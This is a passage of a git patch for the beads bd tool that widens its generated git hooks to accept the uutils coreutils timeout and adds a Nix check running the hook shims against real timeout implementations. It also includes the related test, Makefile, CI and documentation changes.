33bed587e0d10a165b7298e4e14616ad390d1c83 Mon Sep 17 00:00:00 2001 From: Tomasz Feliksik <32515150+tomasz-feliksik@users.noreply.github.com> Date: Sun, 27 Sep 2026 12:38:45 +0200 Subject: [PATCH 150/624] Accept uutils coreutils timeout in generated hooks, and check the shims against real implementations (#6561) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Accept uutils coreutils timeout in generated hooks The generated hook selects a timeout helper only when its --version banner starts with "timeout (GNU coreutils) ". uutils coreutils reports "timeout (uutils coreutils) " with the same command line and the same exit 124 on expiry, so hosts that ship it (Ubuntu 25.10+, NixOS with uutils-coreutils-noprefix) silently fell through to the Perl alarm, or to the unbounded direct run when Perl is absent. Follow-up from #5522, tracked in #5541. - Widen the identity allowlist to uutils; the match stays by banner so Windows timeout.exe is still never probed (#5503). - Add a backend-selection case using the GNU stub with the uutils banner: fails on the old shim (selects gtimeout), passes with the widening. - Regenerate the managed sections in the tracked .githooks/* so TestTrackedManagedHookSectionsMatchGenerator stays green. - Update the hook-timeout passages in docs/reference/git-integration.md and troubleshooting.md, which described the probe as GNU-only. Verified on NixOS with uutils 0.10.0 as /run/current-system/sw/bin/timeout: with Perl removed from PATH and a bd that hangs, the old shim runs "without timeout" for the full duration; the new shim expires at BEADS_HOOK_TIMEOUT and continues. Agent-Signature: claude-code-claude-opus-5-unknown-reasoning on behalf of Tomasz Feliksik * Regenerate tracked .githooks managed sections with make githooks-regen TestTrackedManagedHookSectionsMatchGenerator holds the managed section in each tracked .githooks/* byte-equal to the cmd/bd/hooks.go generator, but nothing regenerated them: after a generator change a contributor had to splice the new section in by hand, and the failure only dumped both texts. The v1.2.0 bump reddened main this way (ce20a64bb), and #6561 shipped its first revision with the five hooks stale. - BD_UPDATE_GOLDEN=1 makes the test rewrite the section in place, keeping everything around the markers (the project's own hook logic) untouched. Same switch the package's events golden already uses. - `make githooks-regen` wraps it, next to `corpus-regen`. - The drift failure now names that command. - The exactly-one-section check runs before any rewrite. Verified: drifting one byte inside .githooks/pre-push fails the test with the hint; `make githooks-regen` restores the file to the same blob SHA; the test is green again. Agent-Signature: claude-code-claude-opus-5-unknown-reasoning on behalf of Tomasz Feliksik * Check the tracked hook shims against real timeout implementations The Go tests pin the shim's helper selection with scripted stand-ins, so they can only encode what the author believes each real `timeout` does. That is where the last two defects lived: uutils prints a banner the allowlist did not know (#5541), and busybox — which #5541 suggests adding — exits 143 on expiry rather than 124, so allowlisting it would turn every deadline into a failed hook and a blocked push. checks.nix adds a flake check that runs the tracked .githooks/* managed sections (held equal to the generator by TestTrackedManagedHookSectionsMatchGenerator) against the binaries themselves: GNU coreutils, uutils, busybox and toybox `timeout`, each with and without perl, under dash, bash and busybox ash, for all five hooks — 150 cases. Expectations come from a model of the contract (the allowlist as data), so widening it is one line here and the binaries either agree or they do not. A fake bd on the shim's restricted PATH blocks on a held-open fifo until a helper kills it, records the signal and re-raises it, so each case asserts the backend that ran (TERM from timeout, ALRM from perl's alarm) and not merely that the shim finished. No clock: a helper that fails to kill the fake trips the harness's own `timeout 10`. Every case asserts exit 0, since anything else blocks the user's push. Reading .githooks/* instead of building bd keeps it at ~1 s and off the Go build's critical path; CI's test-nix job runs it after its existing help-text smoke test. Mutation-checked: restoring main's GNU-only sections fails all 30 uutils cases (15 unbounded, 15 on the perl backend); allowlisting busybox with a loosened probe fails all 30 busybox cases with hook exit 143. Agent-Signature: claude-code-claude-opus-5-unknown-reasoning on behalf of Tomasz Feliksik * Run the hook-timeout check under the gtimeout candidate name too The shim probes `timeout` and then `gtimeout`, but the matrix only ever put a binary named `timeout` on PATH, so the second candidate was never run against a real implementation. Whether a helper is accepted under that name depends on what its banner does with argv[0]. Measured: the uutils multicall dispatches on the argv[0] SUFFIX (src/bin/coreutils.rs, `binary_as_util.ends_with(util)`) and then prints the canonical utility name — invoked as gtimeout it reports "timeout (uutils coreutils) 0.8.0" (this flake's nixos-25.11 pin; 0.11.0 identical), which the allowlist accepts. busybox and toybox know no gtimeout applet and fail the probe outright, rejected as before. GNU is immune by construction: Homebrew's gtimeout is a separate binary whose banner is the fixed "timeout (GNU coreutils) 9.11"; nixpkgs' coreutils is a single-binary multicall that refuses a foreign name ("unknown program 'gtimeout'"), so it gets no variant here. Each multicall is now also installed on a case PATH as `gtimeout` ALONE (`installs`, derived from `implementations`; `backendFor` stays keyed on the implementation, so the model's claim is "uutils is allowlisted whatever it is called"). 240 cases on Linux, 80 on darwin (no busybox or toybox there, and no busybox-ash shell). The shadowed `out=` inside run_case is `case_out` now: it only survived because every case is a backgrounded subshell, and a de-backgrounded case would have died on the final `touch "$out"`. Mutation-checked: installing the variant as `xtimeout` (a name the shim never probes) fails exactly the 30 uutils-as-gtimeout cases — 15 with nothing killing the fake bd, 15 on the perl backend (ALRM) instead of coreutils; restored, 240 of 240 pass. The busybox/toybox variants cannot distinguish (their expectation is rejection either way); their weight is that the probe does not blow up on a foreign name. * Run the flake checks on main too, by nix flake check; docs wording pr-risk.yml's test-nix job ran the hook-timeout check on PRs only; the byte-identical job in main.yml never got the step, so post-merge main never ran it. Both jobs now run `nix flake check -L`: no hardcoded `x86_64-linux` (the step beside it, `nix run .#default`, was already system-agnostic), and a check added to checks.nix runs without a workflow edit. checks.aarch64-darwin and .x86_64-darwin evaluate. Measured on ubuntu-latest with a cold Nix store (fork run 35700791032, this tree, 240 cases): `nix flake check -L` 3.6 s including substitution of uutils, busybox, toybox, dash and perl; 0.08 s warm — beside the 4 min 9 s the existing `nix run .#default` step spends building bd in the same job. The 10-minute timeout is not in question. git-integration.md: on Git for Windows the preferred deadline backend is "a coreutils timeout (GNU or uutils)", not GNU alone, since both now qualify. troubleshooting.md: reflow a ragged paragraph. * review: close the duplicated contracts around the uutils timeout accept Maintainer review fixes for #6561. No change to the shim's behavior or to the generated/tracked hook sections. - cmd/bd/hooks_timeout_process_test.go: the uutils fixture was built with strings.Replace, which returns its input unchanged when the pattern is absent, so a later edit to the GNU stub's banner would silently degenerate the uutils case into a second copy of the GNU one — still green, no longer testing the new accept. Hoist the derivation and fail loudly when the banner no longer matches. - cmd/bd/hooks_timeout_process_test.go: findHookProcessGNUTimeout held a second, un-widened copy of the identity allowlist, so on exactly the hosts this PR exists for (uutils timeout, no gtimeout) the only Go test that drives a real timeout binary skipped with a reason the fix had just made false. Widen the probe's case, rename it findHookProcessCoreutilsTimeout, and reword the skip and the subtest. Measured against stub PATHs: uutils goes rc=1 -> rc=0, GNU stays rc=0, a busybox banner stays rc=1. - cmd/bd/init_hooks_test.go: TestGenerateHookSection_Timeout asserted only the GNU alternative, so deleting the new uutils one from the generator left the structural contract green (verified: it passes under that mutation before this change, and reports "section missing uutils coreutils identity check" after). Add the companion assertion. - cmd/bd/init_hooks_test.go, Makefile: the regen arm rewrites tracked source files, so give it its own BD_UPDATE_HOOKS_GOLDEN rather than the package's shared BD_UPDATE_GOLDEN — an unscoped `BD_UPDATE_GOLDEN=1 go test ./cmd/bd/` used to turn genuine hook drift into a silent working-tree rewrite that reported PASS. - cmd/bd/init_hooks_test.go: locate the managed section by marker prefix instead of the versioned marker line. Tracked hooks drift both from generator content and from the release version stamp; the exact-line lookup made the second class fatal ("tracked hook missing ...") before the regen arm was reachable, so `make githooks-regen` failed at exactly the moment a release engineer reaches for it. The versioned markers are still verified — they are part of the byte compare. - checks.nix: the `rc -eq 124` safety-net verdict discarded both $case_out and the already-captured $signal, so the one failure mode that is intermittent and not locally reproducible was also the only one with no diagnostics. Report them like the `rc -ne 0` branch below it. - docs/reference/troubleshooting.md, docs/reference/git-integration.md: mirror the coreutils wording across both docs this PR touches, and generalize the re-install guidance in both. Managed sections are never reported Outdated (getHookVersion returns IsShim for them and computeHookStatuses gates on !IsShim), so nothing tells an existing install it is stale; the sentence was still scoped to the older name-only check (#5503). - CHANGELOG.md: add the [Unreleased] entry for #5541, worded to the actual scope — with Perl installed the shim still reached the Perl alarm arm, so the lost deadline bit uutils hosts without Perl — say that existing installs must run `bd hooks install` once, and drop the claim that stock NixOS ships uutils (this PR's own checks.nix takes GNU from pkgs.coreutils). Co-authored-by: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- .githooks/post-checkout | 2 +- .githooks/post-merge | 2 +- .githooks/pre-commit | 2 +- .githooks/pre-push | 2 +- .githooks/prepare-commit-msg | 2 +- .github/workflows/main.yml | 7 + .github/workflows/pr-risk.yml | 7 + CHANGELOG.md | 16 ++ Makefile | 11 +- checks.nix | 262 +++++++++++++++++++++++++++ cmd/bd/hooks.go | 10 +- cmd/bd/hooks_timeout_process_test.go | 35 +++- cmd/bd/init_hooks_test.go | 57 ++++-- docs/reference/git-integration.md | 25 +-- docs/reference/troubleshooting.md | 22 ++- engdocs/TESTING.md | 1 + flake.nix | 2 + 17 files changed, 417 insertions(+), 48 deletions(-) create mode 100644 checks.nix diff --git a/.githooks/post-checkout b/.githooks/post-checkout index 19d309b87..8806ec466 100755 --- a/.githooks/post-checkout +++ b/.githooks/post-checkout @@ -19,7 +19,7 @@ if command -v bd >/dev/null 2>&1; then if command -v "$_bd_timeout_candidate" >/dev/null 2>&1; then if _bd_timeout_version="$("$_bd_timeout_candidate" --version 2>/dev/null)"; then case "$_bd_timeout_version" in - "timeout (GNU coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; + "timeout (GNU coreutils) "*|"timeout (uutils coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; esac fi fi diff --git a/.githooks/post-merge b/.githooks/post-merge index 4d315045b..f46a0b142 100755 --- a/.githooks/post-merge +++ b/.githooks/post-merge @@ -19,7 +19,7 @@ if command -v bd >/dev/null 2>&1; then if command -v "$_bd_timeout_candidate" >/dev/null 2>&1; then if _bd_timeout_version="$("$_bd_timeout_candidate" --version 2>/dev/null)"; then case "$_bd_timeout_version" in - "timeout (GNU coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; + "timeout (GNU coreutils) "*|"timeout (uutils coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; esac fi fi diff --git a/.githooks/pre-commit b/.githooks/pre-commit index 46e710a33..4cc0d8586 100755 --- a/.githooks/pre-commit +++ b/.githooks/pre-commit @@ -60,7 +60,7 @@ if command -v bd >/dev/null 2>&1; then if command -v "$_bd_timeout_candidate" >/dev/null 2>&1; then if _bd_timeout_version="$("$_bd_timeout_candidate" --version 2>/dev/null)"; then case "$_bd_timeout_version" in - "timeout (GNU coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; + "timeout (GNU coreutils) "*|"timeout (uutils coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; esac fi fi diff --git a/.githooks/pre-push b/.githooks/pre-push index 8bcc2483b..e454f0628 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -59,7 +59,7 @@ if command -v bd >/dev/null 2>&1; then if command -v "$_bd_timeout_candidate" >/dev/null 2>&1; then if _bd_timeout_version="$("$_bd_timeout_candidate" --version 2>/dev/null)"; then case "$_bd_timeout_version" in - "timeout (GNU coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; + "timeout (GNU coreutils) "*|"timeout (uutils coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; esac fi fi diff --git a/.githooks/prepare-commit-msg b/.githooks/prepare-commit-msg index bf8cfb8ff..2afb7c19c 100755 --- a/.githooks/prepare-commit-msg +++ b/.githooks/prepare-commit-msg @@ -19,7 +19,7 @@ if command -v bd >/dev/null 2>&1; then if command -v "$_bd_timeout_candidate" >/dev/null 2>&1; then if _bd_timeout_version="$("$_bd_timeout_candidate" --version 2>/dev/null)"; then case "$_bd_timeout_version" in - "timeout (GNU coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; + "timeout (GNU coreutils) "*|"timeout (uutils coreutils) "*) _bd_timeout_command=$_bd_timeout_candidate; break ;; esac fi fi diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index f2085abad..68181e7ad 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1226,6 +1226,13 @@ jobs: id: nix_help run: | nix run .#default -- --help > help.txt + # Every flake check for the runner's own system (today: hook-timeout- + # backends, checks.nix). `nix flake check` rather than a spelled-out + # `.#checks.x86_64-linux.`: no hardcoded system, and a check added + # to checks.nix is run without a workflow edit. + - name: Run the flake checks + run: | + nix flake check -L - name: Verify help text if: steps.nix_help.outcome == 'success' run: | diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 4344f7663..778e02920 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -431,6 +431,13 @@ jobs: id: nix_help run: | nix run .#default -- --help > help.txt + # Every flake check for the runner's own system (today: hook-timeout- + # backends, checks.nix). `nix flake check` rather than a spelled-out + # `.#checks.x86_64-linux.`: no hardcoded system, and a check added + # to checks.nix is run without a workflow edit. + - name: Run the flake checks + run: | + nix flake check -L - name: Verify help text if: steps.nix_help.outcome == 'success' run: | diff --git a/CHANGELOG.md b/CHANGELOG.md index 81fc50a2a..a90fd937b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 up, but it can flip auto-backup on or off for `-C` invocations whose launch directory and target differ in remote configuration. +- **Generated git hooks accept uutils coreutils `timeout` as a deadline helper** + ([#5541](https://github.com/gastownhall/beads/issues/5541)). The managed hook + section probes `timeout` and `gtimeout` with `--version` and accepted only the + GNU coreutils banner, so a host whose `timeout` is uutils coreutils + (Ubuntu 25.10+, or a distribution configured with `uutils-coreutils` in place + of GNU) failed the probe and fell through. Where Perl was + installed the shim still got a deadline from the Perl `alarm` arm — which Git + for Windows Perl does not guarantee across `exec` — so the missing deadline + bit uutils hosts *without* Perl, which ran `bd hooks run` unbounded (with the + documented warning). The probe now also accepts the + `timeout (uutils coreutils) ` banner; native Windows `timeout.exe` stays + rejected ([#5503](https://github.com/gastownhall/beads/issues/5503)). The + widened probe ships in the generated hook section, which is rewritten only by + `bd hooks install` — hosts that already installed hooks must run it once to + pick up the fix. + - **`bd close` now exits non-zero when any issue in a batch fails to close** ([#6648](https://github.com/gastownhall/beads/issues/6648)). A batch with one refused id used to exit 0 as long as another id closed, so scripts could not diff --git a/Makefile b/Makefile index d08de7468..6ea33d12d 100644 --- a/Makefile +++ b/Makefile @@ -43,7 +43,7 @@ export PATH := $(GIT_WINDOWS_ROOT)/usr/bin;$(PATH) endif endif -.PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short +.PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check @@ -288,6 +288,15 @@ corpus-regen: @echo "Regenerating contract corpus..." go test -tags "$(BUILD_TAGS)" ./cmd/bd/protocol -run TestCorpusGolden -corpus.update -count=1 +# The tracked .githooks/* carry the managed section cmd/bd/hooks.go generates; +# TestTrackedManagedHookSectionsMatchGenerator holds them byte-equal. Run this +# after changing the generator or after bumping Version in cmd/bd/version.go +# (the section markers carry the version), then commit the regenerated hooks +# alongside it. +githooks-regen: + @echo "Regenerating managed sections in .githooks/*..." + BD_UPDATE_HOOKS_GOLDEN=1 go test -tags "$(BUILD_TAGS)" ./cmd/bd -run TestTrackedManagedHookSectionsMatchGenerator -count=1 + # Run performance benchmarks against Dolt storage backend # Requires CGO and Dolt; generates CPU profile files diff --git a/checks.nix b/checks.nix new file mode 100644 index 000000000..dac064270 --- /dev/null +++ b/checks.nix @@ -0,0 +1,262 @@ +# Flake checks. Run all with `nix flake check`; one with +# `nix build .#checks.. -L`. +pkgs: +let + inherit (pkgs) lib; + + # hook-timeout-backends: run the tracked hook shims against REAL timeout + # implementations. + # + # cmd/bd/hooks_timeout_process_test.go pins the shim's selection logic with + # scripted helpers, and TestTrackedManagedHookSectionsMatchGenerator holds + # the tracked .githooks/* byte-equal to the generator. This check closes the + # remaining gap — what the helpers on real hosts actually do — by running the + # tracked sections against the binaries themselves. That is where the + # surprises live: uutils prints a different banner (GH#5541); busybox exits + # 143 on expiry, not 124, so allowlisting it as-is would turn every timeout + # into a failed hook; toybox exits 125 from --version. + # + # The matrix is derived from a model of the contract, so a change to the + # allowlist is one line here and the binaries either agree or they do not. + # Reading .githooks/* rather than building bd keeps this at about one + # deadline of wall time and independent of the Go build. + # + # Each case: one hook, one shell (the `sh`s a `#!/usr/bin/env sh` hook meets + # in the wild), a PATH of exactly one timeout implementation — under the + # name `timeout`, or for the multicall ones also under `gtimeout` alone — + # plus optionally perl, BEADS_HOOK_TIMEOUT=1, and a fake `bd` that blocks on a held-open fifo + # until a helper kills it. The fake records the signal that killed it, which + # is how the check asserts the backend and not just "it finished": + # coreutils backend → TERM from timeout, shim reports the deadline, exit 0 + # perl backend → ALRM from perl's alarm, same report, exit 0 + # no backend → the fake returns at once; shim warns it is running + # without a deadline, exit 0 + # A non-zero hook exit blocks the user's push, so every case asserts exit 0. + # No clock is involved: if nothing kills the fake, the harness's own + # `timeout 10` (on its full PATH, not the shim's) fails the case. + + # The identity allowlist in cmd/bd/hooks.go, as data. + allowlisted = [ + "gnu-coreutils" + "uutils-coreutils" + ]; + + implementations = { + gnu-coreutils = pkgs.coreutils; + uutils-coreutils = pkgs.uutils-coreutils-noprefix; + none = null; + } + // lib.optionalAttrs pkgs.stdenv.isLinux { + busybox = pkgs.busybox; + toybox = pkgs.toybox; + }; + + # The shim probes `timeout` first and `gtimeout` second (Homebrew's prefixed + # GNU coreutils on macOS). Whether a helper is accepted under the second name + # depends on what its banner does with argv[0]. The multicall implementations + # dispatch on it and then print the CANONICAL utility name: uutils' + # src/bin/coreutils.rs matches `argv[0].ends_with()`, so `gtimeout` + # (or `mytimeout`) is `timeout` to it and reports "timeout (uutils + # coreutils) " — accepted (measured on 0.8.0, this flake's + # nixos-25.11 pin, and on 0.11.0); busybox and toybox know no `gtimeout` + # applet and fail the probe outright — rejected either way. These variants put each multicall on PATH under the name `gtimeout` + # ONLY, so the second candidate is the one that runs. GNU has no variant: + # nixpkgs' coreutils is a single-binary multicall that refuses a name it does + # not know ("coreutils: unknown program 'gtimeout'"), while Homebrew's + # gtimeout is a separate binary whose banner is the fixed "timeout (GNU + # coreutils) 9.11" — GNU is immune by construction, not by measurement here. + asGtimeout = + impl: pkg: + pkgs.runCommand "${impl}-as-gtimeout" { } '' + mkdir -p "$out/bin" + ln -s ${pkg}/bin/timeout "$out/bin/gtimeout" + ''; + + # What goes on a case's PATH: every implementation as itself, and the + # multicalls once more under the other candidate name. `impl` is what the + # model reasons about; `label` is what the case is called. + installs = lib.concatLists ( + lib.mapAttrsToList ( + impl: pkg: + [ + { + inherit impl; + label = impl; + dirs = lib.optional (pkg != null) "${pkg}/bin"; + } + ] + ++ lib.optional (pkg != null && impl != "gnu-coreutils") { + inherit impl; + label = "${impl}-as-gtimeout"; + dirs = [ "${asGtimeout impl pkg}/bin" ]; + } + ) implementations + ); + + shells = { + dash = "${pkgs.dash}/bin/dash"; + bash = "${pkgs.bash}/bin/bash"; + } + // lib.optionalAttrs pkgs.stdenv.isLinux { + busybox-ash = "${pkgs.busybox}/bin/sh"; + }; + + hooks = [ + "pre-commit" + "post-merge" + "pre-push" + "post-checkout" + "prepare-commit-msg" + ]; + + backendFor = + impl: withPerl: + if lib.elem impl allowlisted then + "coreutils" + else if withPerl then + "perl" + else + "none"; + + # One `run_case` line per point in the matrix, all backgrounded. + cases = lib.concatMap ( + install: + lib.concatMap + ( + withPerl: + lib.concatLists ( + lib.mapAttrsToList ( + shellName: shell: + map (hook: { + name = "${hook}/${shellName}/${install.label}${lib.optionalString withPerl "+perl"}"; + inherit hook shell; + backend = backendFor install.impl withPerl; + path = install.dirs ++ lib.optional withPerl "${pkgs.perl}/bin"; + }) hooks + ) shells + ) + ) + [ + false + true + ] + ) installs; + + caseLine = + c: + "run_case ${ + lib.escapeShellArgs [ + c.name + c.hook + c.backend + c.shell + ] + } ${lib.escapeShellArgs c.path} &\n"; + + trackedHooks = lib.fileset.toSource { + root = ./.; + fileset = ./.githooks; + }; +in +{ + hook-timeout-backends = + pkgs.runCommand "bd-hook-timeout-backends" + { + # Only .githooks/* is an input: nothing else in the repo changes what + # this check measures. + githooks = "${trackedHooks}/.githooks"; + } + '' + # 1. Shims under test: the managed section of each tracked hook, as + # bd installs it into a fresh repo (shebang + section). + shims="$TMPDIR/shims" + mkdir -p "$shims" + for hook in ${lib.escapeShellArgs hooks}; do + { + echo '#!/usr/bin/env sh' + sed -n '/^# --- BEGIN BEADS INTEGRATION/,/^# --- END BEADS INTEGRATION/p' "$githooks/$hook" + } > "$shims/$hook" + grep -q 'bd hooks run' "$shims/$hook" || { echo "no managed section in .githooks/$hook"; exit 1; } + done + + # 2. The fake bd the shim will find on its restricted PATH. It blocks + # until killed and records the signal, re-raising it so it dies the + # way a real bd would (143 / 142), not by a made-up exit code. + fake="$TMPDIR/fakebin" + mkdir -p "$fake" + cat > "$fake/bd" <<'FAKE' + #!/bin/sh + trap 'echo TERM > "$FAKE_BD_SIGNAL"; trap - TERM; kill -TERM $$' TERM + trap 'echo ALRM > "$FAKE_BD_SIGNAL"; trap - ALRM; kill -ALRM $$' ALRM + [ -n "$FAKE_BD_BLOCK" ] && read -r _ + exit 0 + FAKE + chmod +x "$fake/bd" + mkfifo "$TMPDIR/hang" + exec 3<> "$TMPDIR/hang" + + # 3. The matrix. + results="$TMPDIR/results" + mkdir -p "$results" + run_case() { + name=$1 hook=$2 backend=$3 shell=$4 + shift 4 + case_dir="$TMPDIR/cases/$name" + mkdir -p "$case_dir/bin" + ln -s "$shell" "$case_dir/bin/sh" + path="$fake:$case_dir/bin" + for dir in "$@"; do path="$path:$dir"; done + block=1 + [ "$backend" = none ] && block= + signal_file="$case_dir/signal" + # `|| rc=$?`: the builder runs under set -e, and a bare assignment + # from a failing command would end this subshell before it reports. + rc=0 + case_out=$(timeout 10 env PATH="$path" BEADS_HOOK_TIMEOUT=1 \ + FAKE_BD_BLOCK="$block" FAKE_BD_SIGNAL="$signal_file" \ + "$case_dir/bin/sh" "$shims/$hook" origin https://example.invalid 2>&1 <&3) || rc=$? + signal=$(cat "$signal_file" 2>/dev/null || true) + verdict=ok + if [ "$rc" -eq 124 ]; then + # This is the one mode that is intermittent and not reproducible + # locally, so it needs the output most: report it like the branch + # below rather than as a bare string. + verdict="FAIL: nothing killed the fake bd (harness safety net fired), signal='$signal': $case_out" + elif [ "$rc" -ne 0 ]; then + verdict="FAIL: hook exit $rc (would block the push): $case_out" + else + case "$backend" in + coreutils) + case "$case_out" in *"timed out after 1s"*) ;; *) verdict="FAIL: no deadline report: $case_out" ;; esac + [ "$signal" = TERM ] || verdict="FAIL: expected coreutils timeout (TERM), fake saw '$signal'" + ;; + perl) + case "$case_out" in *"timed out after 1s"*) ;; *) verdict="FAIL: no deadline report: $case_out" ;; esac + [ "$signal" = ALRM ] || verdict="FAIL: expected perl alarm (ALRM), fake saw '$signal'" + ;; + none) + case "$case_out" in *"running without timeout"*) ;; *) verdict="FAIL: no unbounded warning: $case_out" ;; esac + ;; + esac + fi + printf '%-52s %-10s %s\n' "$name" "$backend" "$verdict" > "$results/$(echo "$name" | tr / _)" + } + + ${lib.concatMapStrings caseLine cases} + wait + + printf '%-52s %-10s %s\n' CASE BACKEND RESULT + sort "$results"/* + echo + reported=$(ls "$results" | wc -l) + echo "$reported of ${toString (lib.length cases)} cases reported, $(grep -l FAIL "$results"/* | wc -l) failed" + if [ "$reported" -ne ${toString (lib.length cases)} ]; then + echo "some cases never reported a verdict" + exit 1 + fi + if grep -q FAIL "$results"/*; then + exit 1 + fi + touch "$out" + ''; +} diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index be6ca1747..0d59c5cd7 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -68,8 +68,14 @@ const hookTimeoutSeconds = 300 // - Helper argv is separated with -- so user input cannot become an option. // - If no compatible helper exists, the direct fallback is explicitly // unbounded rather than silently pretending to enforce a deadline. -// - Only GNU coreutils timeout implementations are selected; Windows +// - Only GNU coreutils timeout and uutils coreutils timeout (same command +// line, same exit 124; GH#5541) are selected, by --version banner; Windows // timeout.exe has the same name but an incompatible command line (GH#5503). +// The banner match holds under the gtimeout candidate too: GNU prints a +// fixed program name (Homebrew's gtimeout reports "timeout (GNU +// coreutils) ..."), and the uutils multicall dispatches on the argv[0] +// suffix and then prints the canonical name ("timeout (uutils coreutils) +// ..." when invoked as gtimeout). checks.nix runs that case. // - If the beads database is not initialized (exit code 3), the hook exits // successfully with a warning so that git operations are not blocked. func generateHookSection(hookName string) string { @@ -93,7 +99,7 @@ func generateHookSection(hookName string) string { " if command -v \"$_bd_timeout_candidate\" >/dev/null 2>&1; then\n" + " if _bd_timeout_version=\"$(\"$_bd_timeout_candidate\" --version 2>/dev/null)\"; then\n" + " case \"$_bd_timeout_version\" in\n" + - " \"timeout (GNU coreutils) \"*) _bd_timeout_command=$_bd_timeout_candidate; break ;;\n" + + " \"timeout (GNU coreutils) \"*|\"timeout (uutils coreutils) \"*) _bd_timeout_command=$_bd_timeout_candidate; break ;;\n" + " esac\n" + " fi\n" + " fi\n" + diff --git a/cmd/bd/hooks_timeout_process_test.go b/cmd/bd/hooks_timeout_process_test.go index 7d636f080..741a8fe0c 100644 --- a/cmd/bd/hooks_timeout_process_test.go +++ b/cmd/bd/hooks_timeout_process_test.go @@ -128,12 +128,22 @@ func TestGeneratedHookTimeoutProcessBoundary(t *testing.T) { t.Run("shell options preserve argv and status", testHookProcessShellOptions) t.Run("POSIX sh preserves argv and status", testHookProcessPOSIXShell) t.Run("reserved statuses are backend scoped", testHookProcessReservedStatuses) - t.Run("real GNU timeout expires a responsive child", testHookProcessRealTimeoutExpiry) + t.Run("real coreutils timeout expires a responsive child", testHookProcessRealTimeoutExpiry) t.Run("real Perl alarm expires a responsive child", testHookProcessRealPerlExpiry) t.Run("Windows checkout rejects System32 timeout", testHookProcessWindowsSystemTimeoutCheckout) } func testHookProcessBackendSelection(t *testing.T) { + // Derive the uutils helper from the GNU stub so the two differ only in the + // banner, but fail loudly if that banner ever moves: strings.Replace returns + // its input unchanged when the pattern is absent, which would silently turn + // the uutils case into a second copy of the GNU one. + const hookProcessGNUTimeoutBanner = "(GNU coreutils) 9.99" + uutilsTimeoutStub := strings.Replace(hookProcessGNUTimeoutStub, hookProcessGNUTimeoutBanner, "(uutils coreutils) 0.10.0", 1) + if uutilsTimeoutStub == hookProcessGNUTimeoutStub { + t.Fatalf("uutils fixture is a copy of the GNU stub: %q not found in hookProcessGNUTimeoutStub", hookProcessGNUTimeoutBanner) + } + tests := []struct { name string fixtures []hookProcessFixture @@ -148,6 +158,14 @@ func testHookProcessBackendSelection(t *testing.T) { }, wantHelper: "helper=gtimeout", }, + { + name: "uutils coreutils timeout is selected like GNU", + fixtures: []hookProcessFixture{ + {name: "timeout", body: uutilsTimeoutStub}, + {name: "gtimeout", body: hookProcessGNUGtimeoutStub}, + }, + wantHelper: "helper=timeout", + }, { name: "nonzero GNU-looking probe yields to gtimeout", fixtures: []hookProcessFixture{ @@ -322,7 +340,7 @@ func testHookProcessReservedStatuses(t *testing.T) { } func testHookProcessRealTimeoutExpiry(t *testing.T) { - helperName, helperDir := findHookProcessGNUTimeout(t) + helperName, helperDir := findHookProcessCoreutilsTimeout(t) timeout := "1" result := runGeneratedHookProcess(t, hookProcessCase{ bdBody: hookProcessLongRunningBDStub, @@ -513,13 +531,18 @@ shift return hookProcessResult{output: string(output), exitCode: exitCode, elapsed: elapsed} } -func findHookProcessGNUTimeout(t *testing.T) (string, string) { +// findHookProcessCoreutilsTimeout mirrors the generated shim's identity +// allowlist (cmd/bd/hooks.go generateHookSection). Keep the `case` here in step +// with the one the generator emits: this is the second copy of that contract, +// and a narrower copy silently skips the only test that drives a real timeout +// binary on exactly the hosts the wider allowlist exists for. +func findHookProcessCoreutilsTimeout(t *testing.T) (string, string) { t.Helper() probe := `for _bd_test_candidate in timeout gtimeout; do if command -v "$_bd_test_candidate" >/dev/null 2>&1 && _bd_test_version="$("$_bd_test_candidate" --version 2>/dev/null)"; then case "$_bd_test_version" in - "timeout (GNU coreutils) "*) + "timeout (GNU coreutils) "*|"timeout (uutils coreutils) "*) _bd_test_path=$(command -v "$_bd_test_candidate") printf '%s\n%s\n' "$_bd_test_candidate" "${_bd_test_path%/*}" exit 0 @@ -533,11 +556,11 @@ exit 1 cmd.Env = hookProcessEnv() output, err := cmd.CombinedOutput() if err != nil { - t.Skipf("compatible GNU timeout is unavailable: %s", strings.TrimSpace(string(output))) + t.Skipf("no compatible coreutils timeout is available: %s", strings.TrimSpace(string(output))) } lines := strings.Split(strings.TrimSpace(string(output)), "\n") if len(lines) != 2 || lines[0] == "" || lines[1] == "" { - t.Fatalf("unexpected GNU timeout probe output: %q", string(output)) + t.Fatalf("unexpected coreutils timeout probe output: %q", string(output)) } return lines[0], lines[1] } diff --git a/cmd/bd/init_hooks_test.go b/cmd/bd/init_hooks_test.go index aec17ea10..c77e7b09b 100644 --- a/cmd/bd/init_hooks_test.go +++ b/cmd/bd/init_hooks_test.go @@ -226,6 +226,9 @@ func 